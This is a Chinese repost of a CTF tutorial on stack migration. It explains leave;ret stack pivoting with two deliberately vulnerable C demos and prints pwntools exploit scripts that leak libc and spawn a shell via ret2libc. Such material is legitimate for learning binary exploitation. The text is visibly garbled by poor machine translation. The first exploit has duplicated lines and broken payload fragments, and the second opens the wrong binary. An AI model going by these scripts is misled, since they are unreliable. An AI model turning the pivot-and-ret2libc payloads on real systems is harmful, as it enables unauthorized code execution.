当前位置: 首页 > 科技观察

stackmigration的事情_0

时间:2023-03-16 00:08:14 科技观察

1.前言在目前的CTF比赛中,在大型比赛中很难看到stackoverflow类型的赛题,即使遇到也有多种利用方式的组合,尤其是stack移民。其他方法用于达到组合拳的效果。本文旨在通过原理+实例??的形式,带领读者一步步了解栈迁移的原理及其在ctf中的应用。2.前置知识在我看来,栈迁移的原理可以用一句话来概括:因为栈溢出字节太少,rsp寄存器被劫持指向攻击者预先安排payload的内存地址,已经达到扩展溢出字节数的极限。目的。以一个简单的demo1为例,程序源码及编译说明如下:#includecharbuf1[0x100];voidmain(){charbuf2[0x40];puts("First:");read(0,buf1,0x100);puts("Second:");read(0,buf2,0x60);}//gcc-fno-stack-protector-no-pie-zlazy-odemo1demo1.c程序流程很简单,有两个输出,第一个是写入全局变量buf1,第二个是写入局部变量buf2。可以看出第二次写入存在明显的栈溢出漏洞,但溢出的字节数只够写入0x18字节。如果要构造一个泄漏内存地址的gadget,最短的ROP链也需要0x20字节。内存泄漏后section可以返回到输入点继续程序执行。这种情况下,可以使用栈迁移的方法来扩大溢出字节的大小。前面提到,栈迁移的本质是劫持rsp寄存器指向攻击者事先安排好的payload所在的内存地址,而劫持rsp寄存器的指令有很多,最常用的一个是返回指示离开;ret函数。这条指令可以分为两部分来理解。首先要执行的是离开指令。该指令执行两个操作movrsp、rbp和poprbp。rsp寄存器的指向变化如下图所示。可以看到leave指令执行后,rsp寄存器指向了返回地址。;然后会执行ret命令,可以理解为poprip。因为此时rsp寄存器指向的是rbp+8,也就是函数的返回地址,所以出栈到rip寄存器的就是函数的返回地址,出栈。理解这条指令后不难发现,如果可以利用溢出漏洞将rbp的值覆盖到已知地址,那么在执行leave之后;ret指令两次,rsp寄存器可以被劫持到任意地址。这时,rsp寄存器指向的地址就是新的栈地址。只要将要执行的ropgadget提前安排在新的地址,溢出字节太少的问题就迎刃而解了。根据上面介绍的栈迁移原理,可以得出使用栈迁移的一些必要条件是存在的。存在可以劫持程序流程,控制rbp寄存器的漏洞。攻击者可以确定具有读写权限的确切地址。ropgadget在blockaddress上的布局3.实例说明3.1实例demo1了解栈迁移的原理后,可以通过这个demo来练练手。编译时不开启Canary和PIE保护,开启NX保护,防止编写shellcode。这里先总结一下大概的利用思路,下面会具体讲解实现细节。如果没有开启PIE保护,可以确定第一次写入的地址记录为addr1,在该地址放置一个ropgadget泄露LIBC地址,返回main函数覆盖rbp利用栈溢出漏洞第二次写的是addr1,rip是指令leave;ret地址实现栈迁移返回main函数,然后使用ret2libc执行system("/bin/sh")获取shell3.1.1栈迁移布局。首先我们利用第一个输入进行rop链布局,利用第二个栈溢出漏洞将rbp覆盖为伪栈地址,劫持rip为leave;ret指令地址,内存变化如下图所示。细心的同学会发现,在第一个ropchain布局之前,前面有一个小padding填充。这是因为我们进行栈迁移后,程序指令中所有对栈的操作都会在伪栈中进行,而伪栈的栈地址与得到的表地址相邻。填充这个padding的目的是为了防止程序在向伪栈读写数据时,内存数据段中的关键信息被覆盖,从而造成死机现象。在汇编中,当我们要对局部变量进行操作时,通常使用rbp栈底寄存器来定位,如下图所示。这允许我们在堆栈迁移中构建类似于链表的利用结构。每次布局rop链,都会不断的给rbp寄存器赋值作为伪栈地址,然后跳转到main函数的写函数,因为局部变量寻址是通过rbp寄存器,所以我们可以继续布局绳索链。在第一个rop链布局中,控制rbp寄存器指向新的伪栈地址。那么当返回main函数后执行read函数时,write地址就是新的伪栈地址。这个时候只要利用栈溢出漏洞构造ret2libc就可以getshell了。3.1.2EXPfrompwnimport*p=process('./demo1')libc=ELF('./demo1').libcfake_stack=0x601060leave_ret=0x40058Eputs_plt=0x400430puts_got=0x601018pop_rdi=0x4005f3read_text=0x401060leave_ret=0x40058Eputs_plt=0x400430puts_got=0x601018pop_rdi=0x4005f3read_text=0x4010=572"pay6"pay6"pay6"fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)p.sendafter('First:',payload1)payload2='a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)p.sendafter('Second:',payload2)puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc_base=puts_addr-libc.sym['puts']system=libc_base+libc.sym['system']sh=libc_base+libc.search('/bin/sh').next()success(hex(libc_base))payload3="a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)p.send(payload3)p.interactive()3.2例子demo2在CTF比赛中一般只有一次写机会,这里是demo2的源码和编译顺序.#include#includevoidmain(){charbuf[0x28];puts("HelloHacker.");read(0,buf,0x40);}//gcc-fno-stack-protector-no-pie-zlazy-odemo2demo2.c和demo1一样,demo2没有开启Canary和PIE保护,不同的是demo2只有一次输入机会,溢出字节数只能覆盖回信地址。结合之前讲解的栈迁移技术,首先在劫持rsp之前需要进行rop链布局。程序没有机会去伪栈布局,但是这个条件可以通过劫持程序流来构造。观察程序的汇编代码如下图所示。rbp寄存器是在寻址局部变量buf时用到的,所以我们可以利用它配合栈溢出漏洞实现伪栈上的rop布局。利用思路如下,下面会详细说明实现细节。利用栈溢出漏洞劫持rbp寄存器作为伪栈的地址,返回地址为0x40054b(图中主程序的输入函数),然后伪栈返回后可以ropchained主程序。布局、泄露LIBC地址返回主函数返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell3.2.1伪栈rop布局的第一次离开;ret在main函数出栈时执行,被栈溢出漏洞覆盖rbp为伪栈地址,rsp为main函数地址。再次来到main函数的input函数,我们可以把rop链安排在伪栈上。此时的内存变化如下图所示。第二次请假;ret指令在main函数出栈时仍然执行。将rop链排列到伪栈上后,程序执行unstack操作。此时rbp寄存器中保存的fack_stack-0x30地址在rop链地址+0x8的位置。rsp寄存器被劫持到假堆栈。此时的内存变化如下图所示。fake_stack-0x30的地址为什么在这里?因为在寻址局部变量buf时使用了rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果要劫持rsp到rop链的位置,需要赋值rbp寄存器为fakc_stack-0x30,那么在执行第三次leave时,rsp寄存器被劫持到rop链的地址,此时内存变化如下图所示。LIBC地址泄露后,程序流程被劫持返回main函数,使用read函数进行伪栈的最后rop布局,需要注意的是此时的write地址为fake_stack-0x30,所以栈迁移时rbp寄存器的值在fake_stack-0x30-0x30-0x8的地址,然后执行leave;当ret时,rsp寄存器可以被劫持到ret2libc的rop地址。内部变化如下图所示3.2.2EXPfrompwnimport*context.log_level='debug'p=process('./demo1')libc=ELF('./demo1').libcread_text=0x40054Bfake_rbp=0x601500pop_rdi=0x4005d3#poprdi;ret;puts_plt=0x400430puts_got=0x601018leave_ret=0x400567#gdb.attach(p,'b*0x400567')payload1='a'*0x30+p64(fake_rbp)+p64(read_text)p.sendafter("HelloHacker.",payload1)payload2=p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)p.send(payload2)puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc_base=puts_addr-libc.sym['puts']system=libc_base+libc.sym['system']sh=libc_base+libc.search('/bin/sh').next()成功(hex(libc_base))payload3=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)p.send(payload3)p.interactive()